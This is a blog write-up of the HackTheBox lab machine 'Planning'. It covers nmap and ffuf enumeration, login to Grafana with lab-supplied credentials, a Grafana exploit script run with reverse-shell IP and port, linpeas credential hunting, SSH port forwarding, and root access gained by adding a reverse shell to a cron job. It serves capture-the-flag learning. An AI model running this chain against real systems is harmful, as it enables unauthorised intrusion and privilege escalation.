Sitemap
Brian

Brian

Planning

3 min readJul 9, 2025

--

First conducted an nmap scan

nmap -sC -sV 10.10.11.68 -T4

Press enter or click to view image in full size

add the machines IP address to your hosts folder

“/etc/hosts”

After doing so, we are taken to a webpage.

Conducted enumeration scans. None worked until I tried the FFUF tool.

The command i used is the following:

ffuf -u http://planning.htb -H “Host:FUZZ.planning.htb” -w /usr/share/seclists/Discovery/DNS/namelist.txt -fs 178 -t 100

Press enter or click to view image in full size

Upon learning grafana is used, we added grafana to our host file.

The url that will take you to the grafana login page is the following:

http://grafana.planning.htb/login

We used these credential to log into the grafana console ‘admin / 0D5oT70Fq13EvB5r’ these credential were given to us by HTB.

Once we successfully log in, we discover the version of grafana being used

We discovered the following exploit

Press enter or click to view image in full size

We used the following command to initiate the script:

python passing.py — url http://grafana.planning.htb/ — username admin — password 0D5oT70Fq13EvB5r — reverse-ip 10.10.15.32 — reverse-port 9001

Press enter or click to view image in full size

The exploit was a success and we gained access.

To create an interactive shell use the following:

Get Brian’s stories in your inbox

Join Medium for free to get updates from this writer.

/bin/bash -i

Press enter or click to view image in full size

Once we gained access, we began manually enumerating and couldn’t find anything useful. So, we began enumerating with linpeas.

The scan discovered our first user and the users password!

With those credential we were able to ssh to the user ‘enzo’

Press enter or click to view image in full size

We also discovered the user.txt file

Press enter or click to view image in full size

We initiated another linpeas scan.

After a very long time looking for anything valuable we discovered a password in the crontab.db file

Press enter or click to view image in full size

Additionally we noticed port 8000 running so we connected to it.

ssh -L 8000:127.0.0.1:8000 enzo@10.10.11.68 -N

You can verify that you successfully connected if by entering the following to the url bar ‘127.0.0.1:8000’. You should see a login box. Within the login box you login as root and the password that was discovered within the crontab.db file.

Once logged in, you are directed to a crontab interface

Press enter or click to view image in full size

Here we can see a cleanup job that can be edited.

Within the command prompt, we can add a reverse shell.

It was a success

Press enter or click to view image in full size

--

--